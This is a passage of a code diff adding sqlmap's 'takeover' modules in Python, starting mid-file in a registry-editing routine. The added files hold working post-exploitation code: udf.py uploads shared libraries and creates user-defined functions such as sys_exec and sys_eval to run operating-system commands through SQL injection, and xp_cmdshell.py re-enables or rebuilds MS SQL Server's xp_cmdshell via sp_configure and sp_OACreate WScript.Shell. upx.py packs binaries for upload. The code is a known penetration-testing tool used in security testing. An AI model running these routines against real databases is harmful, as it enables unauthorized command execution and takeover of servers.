self.writeFile(self.__batPathLocal, self.__batPathRemote, "text", False)
|
||||||
|
|
||||||
|
os.unlink(self.__batPathLocal)
|
||||||
|
|
||||||
|
def readRegKey(self, regKey, regValue, parse=False):
|
||||||
|
self.__operation = "read"
|
||||||
|
|
||||||
|
self.__initVars(regKey, regValue, parse=parse)
|
||||||
|
self.__createRemoteBatchFile()
|
||||||
|
|
||||||
|
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
|
||||||
|
|
||||||
|
if not parse:
|
||||||
|
first = len(regKey) + 6
|
||||||
|
else:
|
||||||
|
first = None
|
||||||
|
|
||||||
|
data = self.evalCmd(self.__batPathRemote, first)
|
||||||
|
|
||||||
|
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||||
|
|
||||||
|
return data
|
||||||
|
|
||||||
|
def addRegKey(self, regKey, regValue, regType, regData):
|
||||||
|
self.__operation = "add"
|
||||||
|
|
||||||
|
self.__initVars(regKey, regValue, regType, regData)
|
||||||
|
self.__createRemoteBatchFile()
|
||||||
|
|
||||||
|
debugMsg = "adding registry key value '%s' " % self.__regValue
|
||||||
|
debugMsg += "to registry key '%s'" % self.__regKey
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||||
|
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||||
|
|
||||||
|
def delRegKey(self, regKey, regValue):
|
||||||
|
self.__operation = "delete"
|
||||||
|
|
||||||
|
self.__initVars(regKey, regValue)
|
||||||
|
self.__createRemoteBatchFile()
|
||||||
|
|
||||||
|
debugMsg = "deleting registry key value '%s' " % self.__regValue
|
||||||
|
debugMsg += "from registry key '%s'" % self.__regKey
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||||
|
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||||
369
lib/takeover/udf.py
Normal file
369
lib/takeover/udf.py
Normal file
@@ -0,0 +1,369 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import readInput
|
||||||
|
from lib.core.convert import urlencode
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
|
from lib.core.dump import dumper
|
||||||
|
from lib.core.exception import sqlmapFilePathException
|
||||||
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
from lib.request import inject
|
||||||
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
|
class UDF:
|
||||||
|
"""
|
||||||
|
This class defines methods to deal with User-Defined Functions for
|
||||||
|
plugins.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.createdUdf = set()
|
||||||
|
self.udfs = {}
|
||||||
|
self.udfToCreate = set()
|
||||||
|
|
||||||
|
def __askOverwriteUdf(self, udf):
|
||||||
|
message = "UDF '%s' already exists, do you " % udf
|
||||||
|
message += "want to overwrite it? [y/N] "
|
||||||
|
output = readInput(message, default="N")
|
||||||
|
|
||||||
|
if output and output[0] in ("y", "Y"):
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def __checkExistUdf(self, udf):
|
||||||
|
logger.info("checking if UDF '%s' already exist" % udf)
|
||||||
|
|
||||||
|
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
|
||||||
|
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||||
|
|
||||||
|
if exists == "1":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def udfCheckAndOverwrite(self, udf):
|
||||||
|
exists = self.__checkExistUdf(udf)
|
||||||
|
overwrite = True
|
||||||
|
|
||||||
|
if exists:
|
||||||
|
overwrite = self.__askOverwriteUdf(udf)
|
||||||
|
|
||||||
|
if overwrite:
|
||||||
|
self.udfToCreate.add(udf)
|
||||||
|
|
||||||
|
def udfCreateSupportTbl(self, dataType):
|
||||||
|
debugMsg = "creating a support table to write commands standard "
|
||||||
|
debugMsg += "output to"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
||||||
|
|
||||||
|
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
||||||
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
|
if udfName is None:
|
||||||
|
cmd = "'%s'" % cmd
|
||||||
|
udfName = "sys_exec"
|
||||||
|
|
||||||
|
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
||||||
|
|
||||||
|
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
||||||
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
|
if udfName is None:
|
||||||
|
cmd = "'%s'" % cmd
|
||||||
|
udfName = "sys_eval"
|
||||||
|
|
||||||
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
|
||||||
|
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
|
||||||
|
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||||
|
|
||||||
|
if isinstance(output, (list, tuple)):
|
||||||
|
output = output[0]
|
||||||
|
|
||||||
|
if isinstance(output, (list, tuple)):
|
||||||
|
output = output[0]
|
||||||
|
|
||||||
|
return output
|
||||||
|
|
||||||
|
def udfCreateFromSharedLib(self):
|
||||||
|
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def udfSetRemotePath(self):
|
||||||
|
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def udfInjectCmd(self):
|
||||||
|
errMsg = "udfInjectCmd() method must be defined within the plugin"
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def udfInjectCore(self, udfDict):
|
||||||
|
for udf in udfDict.keys():
|
||||||
|
if udf in self.createdUdf:
|
||||||
|
continue
|
||||||
|
|
||||||
|
self.udfCheckAndOverwrite(udf)
|
||||||
|
|
||||||
|
if len(self.udfToCreate) > 0:
|
||||||
|
self.udfSetRemotePath()
|
||||||
|
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
|
||||||
|
|
||||||
|
for udf, inpRet in udfDict.items():
|
||||||
|
if udf in self.udfToCreate and udf not in self.createdUdf:
|
||||||
|
self.udfCreateFromSharedLib(udf, inpRet)
|
||||||
|
|
||||||
|
if kb.dbms == "MySQL":
|
||||||
|
supportTblType = "longtext"
|
||||||
|
elif kb.dbms == "PostgreSQL":
|
||||||
|
supportTblType = "text"
|
||||||
|
|
||||||
|
self.udfCreateSupportTbl(supportTblType)
|
||||||
|
|
||||||
|
def udfInjectCustom(self):
|
||||||
|
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
||||||
|
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
stackedTest()
|
||||||
|
|
||||||
|
if not kb.stackedTest:
|
||||||
|
return
|
||||||
|
|
||||||
|
self.checkDbmsOs()
|
||||||
|
|
||||||
|
if self.isDba() == False:
|
||||||
|
warnMsg = "the functionality requested might not work because "
|
||||||
|
warnMsg += "the session user is not a database administrator"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
if not conf.shLib:
|
||||||
|
msg = "which is the local path of the shared library? "
|
||||||
|
|
||||||
|
while True:
|
||||||
|
self.udfLocalFile = readInput(msg)
|
||||||
|
|
||||||
|
if self.udfLocalFile:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
logger.warn("you need to specify the local path of the shared library")
|
||||||
|
else:
|
||||||
|
self.udfLocalFile = conf.shLib
|
||||||
|
|
||||||
|
if not os.path.exists(self.udfLocalFile):
|
||||||
|
errMsg = "the specified shared library file does not exist"
|
||||||
|
raise sqlmapFilePathException(errMsg)
|
||||||
|
|
||||||
|
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
|
||||||
|
errMsg = "shared library file must end with '.dll' or '.so'"
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
|
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
|
||||||
|
errMsg = "you provided a shared object as shared library, but "
|
||||||
|
errMsg += "the database underlying operating system is Windows"
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
|
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
|
||||||
|
errMsg = "you provided a dynamic-link library as shared library, "
|
||||||
|
errMsg += "but the database underlying operating system is Linux"
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
|
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
|
||||||
|
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
|
||||||
|
|
||||||
|
msg = "how many user-defined functions do you want to create "
|
||||||
|
msg += "from the shared library? "
|
||||||
|
|
||||||
|
while True:
|
||||||
|
udfCount = readInput(msg, default=1)
|
||||||
|
|
||||||
|
if isinstance(udfCount, str) and udfCount.isdigit():
|
||||||
|
udfCount = int(udfCount)
|
||||||
|
|
||||||
|
if udfCount <= 0:
|
||||||
|
logger.info("nothing to inject then")
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
break
|
||||||
|
|
||||||
|
elif isinstance(udfCount, int):
|
||||||
|
break
|
||||||
|
|
||||||
|
else:
|
||||||
|
logger.warn("invalid value, only digits are allowed")
|
||||||
|
|
||||||
|
for x in range(0, udfCount):
|
||||||
|
while True:
|
||||||
|
msg = "what is the name of the UDF number %d? " % (x + 1)
|
||||||
|
udfName = readInput(msg)
|
||||||
|
|
||||||
|
if udfName:
|
||||||
|
self.udfs[udfName] = {}
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
logger.warn("you need to specify the name of the UDF")
|
||||||
|
|
||||||
|
if kb.dbms == "MySQL":
|
||||||
|
defaultType = "string"
|
||||||
|
elif kb.dbms == "PostgreSQL":
|
||||||
|
defaultType = "text"
|
||||||
|
|
||||||
|
self.udfs[udfName]["input"] = []
|
||||||
|
|
||||||
|
default = 1
|
||||||
|
msg = "how many input parameters takes UDF "
|
||||||
|
msg += "'%s'? (default: %d) " % (udfName, default)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
parCount = readInput(msg, default=default)
|
||||||
|
|
||||||
|
if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
|
||||||
|
parCount = int(parCount)
|
||||||
|
break
|
||||||
|
|
||||||
|
elif isinstance(parCount, int):
|
||||||
|
break
|
||||||
|
|
||||||
|
else:
|
||||||
|
logger.warn("invalid value, only digits >= 0 are allowed")
|
||||||
|
|
||||||
|
for y in range(0, parCount):
|
||||||
|
msg = "what is the data-type of input parameter "
|
||||||
|
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
parType = readInput(msg, default=defaultType)
|
||||||
|
|
||||||
|
if isinstance(parType, str) and parType.isdigit():
|
||||||
|
logger.warn("you need to specify the data-type of the parameter")
|
||||||
|
|
||||||
|
else:
|
||||||
|
self.udfs[udfName]["input"].append(parType)
|
||||||
|
break
|
||||||
|
|
||||||
|
msg = "what is the data-type of the return "
|
||||||
|
msg += "value? (default: %s) " % defaultType
|
||||||
|
|
||||||
|
while True:
|
||||||
|
retType = readInput(msg, default=defaultType)
|
||||||
|
|
||||||
|
if isinstance(retType, str) and retType.isdigit():
|
||||||
|
logger.warn("you need to specify the data-type of the return value")
|
||||||
|
|
||||||
|
else:
|
||||||
|
self.udfs[udfName]["return"] = retType
|
||||||
|
break
|
||||||
|
|
||||||
|
self.udfInjectCore(self.udfs)
|
||||||
|
|
||||||
|
msg = "do you want to call your injected user-defined "
|
||||||
|
msg += "functions now? [Y/n/q] "
|
||||||
|
choice = readInput(msg, default="Y")
|
||||||
|
|
||||||
|
if choice[0] not in ( "y", "Y" ):
|
||||||
|
self.cleanup(udfDict=self.udfs)
|
||||||
|
return
|
||||||
|
|
||||||
|
while True:
|
||||||
|
udfList = []
|
||||||
|
msg = "which UDF do you want to call?"
|
||||||
|
|
||||||
|
for udf, inpRet in self.udfs.items():
|
||||||
|
udfList.append(udf)
|
||||||
|
msg += "\n[%d] %s" % (len(udfList), udf)
|
||||||
|
|
||||||
|
msg += "\n[q] Quit"
|
||||||
|
|
||||||
|
while True:
|
||||||
|
choice = readInput(msg)
|
||||||
|
|
||||||
|
if choice[0] in ( "q", "Q" ):
|
||||||
|
break
|
||||||
|
|
||||||
|
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
||||||
|
choice = int(choice)
|
||||||
|
break
|
||||||
|
|
||||||
|
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
||||||
|
break
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "invalid value, only digits >= 1 and "
|
||||||
|
warnMsg += "<= %d are allowed" % len(udfList)
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
cmd = ""
|
||||||
|
count = 1
|
||||||
|
udfToCall = udfList[choice - 1]
|
||||||
|
|
||||||
|
for inp in self.udfs[udfToCall]["input"]:
|
||||||
|
msg = "what is the value of the parameter number "
|
||||||
|
msg += "%d (data-type: %s)? " % (count, inp)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
parValue = readInput(msg)
|
||||||
|
|
||||||
|
if parValue:
|
||||||
|
if "int" not in inp and "bool" not in inp:
|
||||||
|
parValue = "'%s'" % parValue
|
||||||
|
|
||||||
|
cmd += "%s," % parValue
|
||||||
|
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
logger.warn("you need to specify the value of the parameter")
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
cmd = cmd[:-1]
|
||||||
|
msg = "do you want to retrieve the return value of the "
|
||||||
|
msg += "UDF? [Y/n] "
|
||||||
|
choice = readInput(msg, default="Y")
|
||||||
|
|
||||||
|
if choice[0] in ("y", "Y"):
|
||||||
|
output = self.udfEvalCmd(cmd, udfName=udfToCall)
|
||||||
|
|
||||||
|
if output:
|
||||||
|
dumper.string("return value", output)
|
||||||
|
else:
|
||||||
|
print "No return value"
|
||||||
|
else:
|
||||||
|
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
|
||||||
|
|
||||||
|
msg = "do you want to call this or another injected UDF? [Y/n] "
|
||||||
|
choice = readInput(msg, default="Y")
|
||||||
|
|
||||||
|
if choice[0] not in ("y", "Y"):
|
||||||
|
break
|
||||||
|
|
||||||
|
self.cleanup(udfDict=self.udfs)
|
||||||
102
lib/takeover/upx.py
Normal file
102
lib/takeover/upx.py
Normal file
@@ -0,0 +1,102 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
|
||||||
|
from subprocess import PIPE
|
||||||
|
from subprocess import STDOUT
|
||||||
|
from subprocess import Popen as execute
|
||||||
|
|
||||||
|
from lib.core.common import dataToStdout
|
||||||
|
from lib.core.common import pollProcess
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import paths
|
||||||
|
from lib.core.settings import PLATFORM
|
||||||
|
|
||||||
|
class UPX:
|
||||||
|
"""
|
||||||
|
This class defines methods to compress binary files with UPX (Ultimate
|
||||||
|
Packer for eXecutables).
|
||||||
|
|
||||||
|
Reference:
|
||||||
|
* http://upx.sourceforge.net
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __initialize(self, srcFile, dstFile=None):
|
||||||
|
if "darwin" in PLATFORM:
|
||||||
|
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
|
elif "win" in PLATFORM:
|
||||||
|
self.__upxPath = "%s\upx\windows\upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
|
elif "linux" in PLATFORM:
|
||||||
|
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "unsupported platform for the compression tool "
|
||||||
|
warnMsg += "(upx), sqlmap will continue anyway"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
|
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
|
||||||
|
|
||||||
|
if dstFile:
|
||||||
|
self.__upxCmd += " -o %s" % dstFile
|
||||||
|
|
||||||
|
def pack(self, srcFile, dstFile=None):
|
||||||
|
self.__initialize(srcFile, dstFile)
|
||||||
|
|
||||||
|
logger.debug("executing local command: %s" % self.__upxCmd)
|
||||||
|
process = execute(self.__upxCmd, shell=True, stdout=PIPE, stderr=STDOUT)
|
||||||
|
|
||||||
|
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
|
||||||
|
pollProcess(process)
|
||||||
|
upxStdout, upxStderr = process.communicate()
|
||||||
|
|
||||||
|
msg = "failed to compress the file"
|
||||||
|
|
||||||
|
if "NotCompressibleException" in upxStdout:
|
||||||
|
msg += " because you provided a Metasploit version above "
|
||||||
|
msg += "3.3-dev revision 6681. This will not inficiate "
|
||||||
|
msg += "the correct execution of sqlmap. It might "
|
||||||
|
msg += "only slow down a bit the execution"
|
||||||
|
logger.debug(msg)
|
||||||
|
|
||||||
|
elif upxStderr:
|
||||||
|
logger.warn(msg)
|
||||||
|
|
||||||
|
else:
|
||||||
|
return os.path.getsize(srcFile)
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def unpack(self, srcFile, dstFile=None):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def verify(self, filePath):
|
||||||
|
pass
|
||||||
|
|
||||||
|
upx = UPX()
|
||||||
198
lib/takeover/xp_cmdshell.py
Normal file
198
lib/takeover/xp_cmdshell.py
Normal file
@@ -0,0 +1,198 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.common import readInput
|
||||||
|
from lib.core.convert import urlencode
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
from lib.request import inject
|
||||||
|
from lib.techniques.blind.timebased import timeUse
|
||||||
|
|
||||||
|
class xp_cmdshell:
|
||||||
|
"""
|
||||||
|
This class defines methods to deal with Microsoft SQL Server
|
||||||
|
xp_cmdshell extended procedure for plugins.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.xpCmdshellStr = "master..xp_cmdshell"
|
||||||
|
|
||||||
|
def __xpCmdshellCreate(self):
|
||||||
|
cmd = ""
|
||||||
|
|
||||||
|
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
|
logger.debug("activating sp_OACreate")
|
||||||
|
|
||||||
|
cmd += "EXEC master..sp_configure 'show advanced options', 1; "
|
||||||
|
cmd += "RECONFIGURE WITH OVERRIDE; "
|
||||||
|
cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
|
||||||
|
cmd += "RECONFIGURE WITH OVERRIDE; "
|
||||||
|
self.xpCmdshellExecCmd(cmd)
|
||||||
|
|
||||||
|
self.__randStr = randomStr(lowercase=True)
|
||||||
|
|
||||||
|
cmd += "declare @%s nvarchar(999); " % self.__randStr
|
||||||
|
cmd += "set @%s='" % self.__randStr
|
||||||
|
cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
|
||||||
|
cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
|
||||||
|
cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
|
||||||
|
cmd += "EXEC sp_OADestroy @ID'; "
|
||||||
|
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
|
||||||
|
|
||||||
|
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
|
cmd += " RECONFIGURE WITH OVERRIDE;"
|
||||||
|
|
||||||
|
self.xpCmdshellExecCmd(cmd)
|
||||||
|
|
||||||
|
def __xpCmdshellConfigure2005(self, mode):
|
||||||
|
debugMsg = "configuring xp_cmdshell using sp_configure "
|
||||||
|
debugMsg += "stored procedure"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
cmd = "EXEC master..sp_configure 'show advanced options', 1; "
|
||||||
|
cmd += "RECONFIGURE WITH OVERRIDE; "
|
||||||
|
cmd += "EXEC master..sp_configure 'xp_cmdshell', %d " % mode
|
||||||
|
cmd += "RECONFIGURE WITH OVERRIDE; "
|
||||||
|
cmd += "EXEC sp_configure 'show advanced options', 0"
|
||||||
|
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
def __xpCmdshellConfigure2000(self, mode):
|
||||||
|
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
|
||||||
|
debugMsg += "stored procedure"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
if mode == 1:
|
||||||
|
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
|
||||||
|
cmd += "@dllname='xplog70.dll'"
|
||||||
|
else:
|
||||||
|
cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
|
||||||
|
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
def __xpCmdshellConfigure(self, mode):
|
||||||
|
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
|
cmd = self.__xpCmdshellConfigure2005(mode)
|
||||||
|
else:
|
||||||
|
cmd = self.__xpCmdshellConfigure2000(mode)
|
||||||
|
|
||||||
|
self.xpCmdshellExecCmd(cmd)
|
||||||
|
|
||||||
|
def __xpCmdshellCheck(self):
|
||||||
|
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
|
||||||
|
duration = timeUse(query)
|
||||||
|
|
||||||
|
if duration >= conf.timeSec:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def xpCmdshellForgeCmd(self, cmd):
|
||||||
|
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
|
||||||
|
|
||||||
|
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
|
||||||
|
if forgeCmd:
|
||||||
|
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||||
|
|
||||||
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
|
inject.goStacked(cmd, silent)
|
||||||
|
|
||||||
|
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
|
||||||
|
self.getRemoteTempPath()
|
||||||
|
|
||||||
|
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
|
||||||
|
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
|
||||||
|
|
||||||
|
self.xpCmdshellExecCmd(cmd)
|
||||||
|
|
||||||
|
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||||
|
|
||||||
|
self.delRemoteFile(tmpFile)
|
||||||
|
|
||||||
|
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
|
||||||
|
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||||
|
|
||||||
|
if isinstance(output, (list, tuple)):
|
||||||
|
output = output[0]
|
||||||
|
|
||||||
|
if isinstance(output, (list, tuple)):
|
||||||
|
output = output[0]
|
||||||
|
|
||||||
|
return output
|
||||||
|
|
||||||
|
def xpCmdshellInit(self):
|
||||||
|
self.__xpCmdshellAvailable = False
|
||||||
|
|
||||||
|
infoMsg = "checking if xp_cmdshell extended procedure is "
|
||||||
|
infoMsg += "available, wait.."
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = self.__xpCmdshellCheck()
|
||||||
|
|
||||||
|
if result:
|
||||||
|
logger.info("xp_cmdshell extended procedure is available")
|
||||||
|
self.__xpCmdshellAvailable = True
|
||||||
|
|
||||||
|
else:
|
||||||
|
message = "xp_cmdshell extended procedure does not seem to "
|
||||||
|
message += "be available. Do you want sqlmap to try to "
|
||||||
|
message += "re-enable it? [Y/n] "
|
||||||
|
choice = readInput(message, default="Y")
|
||||||
|
|
||||||
|
if not choice or choice in ("y", "Y"):
|
||||||
|
self.__xpCmdshellConfigure(1)
|
||||||
|
|
||||||
|
if self.__xpCmdshellCheck():
|
||||||
|
logger.info("xp_cmdshell re-enabled successfully")
|
||||||
|
self.__xpCmdshellAvailable = True
|
||||||
|
|
||||||
|
else:
|
||||||
|
logger.warn("xp_cmdshell re-enabling failed")
|
||||||
|
|
||||||
|
logger.info("creating xp_cmdshell with sp_OACreate")
|
||||||
|
self.__xpCmdshellConfigure(0)
|
||||||
|
self.__xpCmdshellCreate()
|
||||||
|
|
||||||
|
if self.__xpCmdshellCheck():
|
||||||
|
logger.info("xp_cmdshell created successfully")
|
||||||
|
self.__xpCmdshellAvailable = True
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "xp_cmdshell creation failed, probably "
|
||||||
|
warnMsg += "because sp_OACreate is disabled"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
if not self.__xpCmdshellAvailable:
|
||||||
|
errMsg = "unable to proceed without xp_cmdshell"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
debugMsg = "creating a support table to write commands standard "
|
||||||
|
debugMsg += "output to"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")
|
